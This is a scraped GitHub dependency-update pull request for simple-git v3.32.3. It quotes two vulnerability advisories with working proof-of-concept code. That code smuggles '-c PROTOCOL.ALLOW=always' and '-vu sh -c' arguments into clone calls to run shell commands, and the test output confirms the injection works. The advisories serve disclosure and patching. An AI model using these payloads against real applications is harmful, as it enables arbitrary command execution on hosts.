The blockUnsafeOperationsPlugin in simple-git fails to block git protocol
override arguments when the config key is passed in uppercase or mixed case.
An attacker who controls arguments passed to git operations can enable the
ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an
arbitrary OS command on the host machine.
Details
The preventProtocolOverride function in
simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24)
checks whether a -c argument configures protocol.allow using this regex:
This regex is case-sensitive. Git treats config key names
case-insensitively — it normalises them to lowercase internally.
As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always,
or any mixed-case variant is not matched by the regex, the check
returns without throwing, and git is spawned with the unsafe argument.
// Before (vulnerable):if(!/^\s*protocol(.[a-z]+)?.allow/.test(next)){// After (fixed):if(!/^\s*protocol(.[a-z]+)?.allow/i.test(next)){
poc.js
/** * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass * * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check * that blocks `-c protocol.*.allow=always` from being passed to git commands. * The regex is case-sensitive. Git treats config key names case-insensitively. * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely. * * Affected : simple-git >= 3.15.0 (all versions with the fix applied) * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5 * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai) */constsimpleGit=require('simple-git');constfs=require('fs');constSENTINEL='/tmp/pwn-codeant';// Clean up from any previous runtry{fs.unlinkSync(SENTINEL);}catch(_){}constgit=simpleGit();// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────// This is the exact PoC Snyk used to report CVE-2022-25912.// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.git.clone('ext::sh -c touch% /tmp/pwn-original% >&2','/tmp/example-new-repo',['-c','protocol.ext.allow=always',// lowercase — caught by regex]).catch((e)=>{console.log('ext:: executed:poc',fs.existsSync(SENTINEL) ? 'PWNED — '+SENTINEL+' created' : 'not created');console.error(e);});// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.// Git normalises config key names to lowercase internally.// Uppercase variant passes the check; git enables ext:: and executes the command.git.clone('ext::sh -c touch% '+SENTINEL+'% >&2','/tmp/example-new-repo-2',['-c','PROTOCOL.ALLOW=always',// uppercase — NOT caught by regex]).catch((e)=>{console.log('ext:: executed:',fs.existsSync(SENTINEL) ? 'PWNED — '+SENTINEL+' created' : 'not created');console.error(e);});// ── Real-world scenario ──────────────────────────────────────────────────────// An application cloning a legitimate repository with user-controlled customArgs.// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates// but the injected argument enables ext:: and the real URL executes the command instead.//// Legitimate usage (what the app expects):// simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',// '/tmp/codeant-quality-gates', userArgs)//// Attacker-controlled scenario (what actually runs when args are not sanitised):constLEGITIMATE_URL='https://github.com/CodeAnt-AI/codeant-quality-gates';constCLONE_DEST='/tmp/codeant-quality-gates';constSENTINEL_RW='/tmp/pwn-realworld';try{fs.unlinkSync(SENTINEL_RW);}catch(_){}constuserArgs=['-c','PROTOCOL.ALLOW=always'];constattackerURL='ext::sh -c touch% '+SENTINEL_RW+'% >&2';simpleGit().clone(attackerURL,// should have been LEGITIMATE_URLCLONE_DEST,userArgs).catch(()=>{console.log('real-world scenario [target: '+LEGITIMATE_URL+']:',fs.existsSync(SENTINEL_RW) ? 'PWNED — '+SENTINEL_RW+' created' : 'not created');});
Test Results
Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)
Result: BLOCKED ✅
The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.
Output:
ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
at .../simple-git/dist/cjs/index.js:1266:40
at Array.forEach (<anonymous>)
at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
task: {
commands: [
'clone',
'-c',
'protocol.ext.allow=always',
'ext::sh -c touch% /tmp/pwn-original% >&2',
'/tmp/example-new-repo'
],
format: 'utf-8',
parser: [Function: parser]
},
plugin: 'unsafe'
}
The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.
Output:
ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
task: {
commands: [
'clone',
'-c',
'PROTOCOL.ALLOW=always',
'ext::sh -c touch% /tmp/pwn-codeant% >&2',
'/tmp/example-new-repo-2'
],
format: 'utf-8',
parser: [Function: parser]
}
}
/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.
An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.
Output:
real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created
/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.
The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.
/tmp/pwned is created by the git subprocess via the ext:: protocol.
All of the following bypass the check:
Argument passed via -c
Regex matches?
Git honours it?
protocol.allow=always
✅ blocked
✅
PROTOCOL.ALLOW=always
❌ bypassed
✅
Protocol.Allow=always
❌ bypassed
✅
PROTOCOL.allow=always
❌ bypassed
✅
protocol.ALLOW=always
❌ bypassed
✅
Impact
Any application that passes user-controlled values into the customArgs
parameter of clone(), fetch(), pull(), push() or similar simple-git
methods is vulnerable to arbitrary command execution on the host machine.
The ext:: git protocol executes an arbitrary binary as a remote helper.
With protocol.allow=always enabled, an attacker can run any OS command
as the process user — full read, write and execution access on the host.
simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is likely to affect all versions prior to and including 3.28.0.
Detail
This vulnerability was introduced by an incorrect patch for CVE-2022-25860.
It was reproduced in the following environment:
WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0
The issue was not reproduced on Windows 11.
The -u option, like --upload-pack, allows a command to be executed.
Currently, the -u and --upload-pack options are blocked in the file simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts.
functionpreventUploadPack(arg: string,method: string){if(/^\s*--(upload|receive)-pack/.test(arg)){thrownewGitPluginError(undefined,'unsafe',`Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`);}if(method==='clone'&&/^\s*-u\b/.test(arg)){thrownewGitPluginError(undefined,'unsafe',`Use of clone with option -u is not permitted without enabling allowUnsafePack`);}if(method==='push'&&/^\s*--exec\b/.test(arg)){thrownewGitPluginError(undefined,'unsafe',`Use of push with option --exec is not permitted without enabling allowUnsafePack`);}}
However, the problem is that command option parsing is quite flexible.
By brute forcing, I found various options that bypass the -u check.
All of the above are three-character options that allow command execution. They enable execution even when allowUnsafePack is explicitly set to false.
The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the -u option, there is also the --upload-pack option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.
Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.
Just in case, I’ll share the brute-force code I used to find options that enable command execution.
The environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.
WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0
Create any git repository inside the testrepo1 folder. A very simple repository with a single commit and a single file is fine.
Run the following:
const{ simpleGit }=require('simple-git');asyncfunctionmain(){constgit=awaitsimpleGit({unsafe: {allowUnsafePack: false}});awaitgit.clone('./testrepo1','./testrepo2',[`-vu sh -c \"touch /tmp/pwned\"`]);}main();
This PoC explicitly configures allowUnsafePack to false. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.
Check /tmp to confirm that pwned has been created.
If it failed, try replacing -vu with a different option from the list.
Impact
This vulnerability is likely to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).
240ec64: Support for absolute paths on Windows when using git.checkIngore, previously Windows would report
paths with duplicate separators \\\\ between directories.
Following this change all paths returned from git.checkIgnore will be normalized through node:path,
this should have no impact on non-windows users where the git binary doesn't wrap absolute paths with
quotes.
renovateBot
changed the title
fix(deps): update dependency simple-git to v3.32.3 [security]
fix(deps): update dependency simple-git to v3.32.3 [security] - autoclosed
Mar 27, 2026
renovateBot
changed the title
fix(deps): update dependency simple-git to v3.32.3 [security] - autoclosed
fix(deps): update dependency simple-git to v3.32.3 [security]
Mar 30, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
GitHub Vulnerability Alerts
CVE-2026-28292
Summary
The blockUnsafeOperationsPlugin in simple-git fails to block git protocol
override arguments when the config key is passed in uppercase or mixed case.
An attacker who controls arguments passed to git operations can enable the
ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an
arbitrary OS command on the host machine.
Details
The preventProtocolOverride function in
simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24)
checks whether a -c argument configures protocol.allow using this regex:
This regex is case-sensitive. Git treats config key names
case-insensitively — it normalises them to lowercase internally.
As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always,
or any mixed-case variant is not matched by the regex, the check
returns without throwing, and git is spawned with the unsafe argument.
Verification that git normalises the key:
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow=alwaysThe fix is a single character — add the /i flag:
poc.js
Test Results
Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)
Result: BLOCKED ✅
The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.
Output:
ext:: executed:poc not created GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9) at .../simple-git/dist/cjs/index.js:1266:40 at Array.forEach (<anonymous>) at Object.action (.../simple-git/dist/cjs/index.js:1264:12) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36) at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) { task: { commands: [ 'clone', '-c', 'protocol.ext.allow=always', 'ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo' ], format: 'utf-8', parser: [Function: parser] }, plugin: 'unsafe' }Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)
Result: BYPASSED ⚠️ — RCE confirmed
The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.
Output:
ext:: executed: PWNED — /tmp/pwn-codeant created GitError: Cloning into '/tmp/example-new-repo-2'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. at Object.action (.../simple-git/dist/cjs/index.js:1440:25) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) { task: { commands: [ 'clone', '-c', 'PROTOCOL.ALLOW=always', 'ext::sh -c touch% /tmp/pwn-codeant% >&2', '/tmp/example-new-repo-2' ], format: 'utf-8', parser: [Function: parser] } }/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.
Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)
Result: BYPASSED ⚠️ — RCE confirmed
An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.
Output:
/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.
Summary
The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.
/tmp/pwned is created by the git subprocess via the ext:: protocol.
All of the following bypass the check:
Impact
Any application that passes user-controlled values into the customArgs
parameter of clone(), fetch(), pull(), push() or similar simple-git
methods is vulnerable to arbitrary command execution on the host machine.
The ext:: git protocol executes an arbitrary binary as a remote helper.
With protocol.allow=always enabled, an attacker can run any OS command
as the process user — full read, write and execution access on the host.
Severity
CVE-2026-28291
Summary
simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is likely to affect all versions prior to and including 3.28.0.
Detail
This vulnerability was introduced by an incorrect patch for CVE-2022-25860.
It was reproduced in the following environment:
The issue was not reproduced on Windows 11.
The -u option, like --upload-pack, allows a command to be executed.
Currently, the -u and --upload-pack options are blocked in the file simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts.
However, the problem is that command option parsing is quite flexible.
By brute forcing, I found various options that bypass the -u check.
All of the above are three-character options that allow command execution. They enable execution even when allowUnsafePack is explicitly set to false.
The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the -u option, there is also the --upload-pack option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.
Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.
Just in case, I’ll share the brute-force code I used to find options that enable command execution.
PoC
The environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.
Create any git repository inside the testrepo1 folder. A very simple repository with a single commit and a single file is fine.
Run the following:
This PoC explicitly configures allowUnsafePack to false. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.
Check /tmp to confirm that pwned has been created.
If it failed, try replacing -vu with a different option from the list.
Impact
This vulnerability is likely to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).
Severity
Release Notes
steveukx/git-js (simple-git)v3.32.3
Compare Source
Patch Changes
f704208: Enhanced protocol.allow checks in allowUnsafeExtProtocol handling.
Thanks to @CodeAnt-AI-Security for identifying the issue
v3.32.2
Compare Source
Patch Changes
v3.32.1
Compare Source
Patch Changes
23b070f: Fix regex for detecting unsafe clone options
Thanks to @stevenwdv for reporting this issue.
v3.32.0
Compare Source
Minor Changes
1effd8e: Enhances the unsafe plugin to block additional cases where the -u switch may be disguised
along with other single character options.
Thanks to @JuHwiSang for identifying this as vulnerability.
Patch Changes
v3.31.1
Compare Source
Patch Changes
v3.30.0
Compare Source
Minor Changes
bc77774: Correctly identify current branch name when using git.status in a cloned empty repo.
Previously git.status would report the current branch name as No. Thank you to @MaddyGuthridge for identifying this issue.
v3.29.0
Compare Source
Minor Changes
240ec64: Support for absolute paths on Windows when using git.checkIngore, previously Windows would report
paths with duplicate separators \\\\ between directories.
Following this change all paths returned from git.checkIgnore will be normalized through node:path,
this should have no impact on non-windows users where the git binary doesn't wrap absolute paths with
quotes.
Thanks to @Maxim-Mazurok for reporting this issue.
9872f84: Support the use of git.branch(['--show-current']) to limit the branch list to only the current branch.
Thanks to @peterbe for pointing out the use-case.
5736bd8: Change to biome for lint and format
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.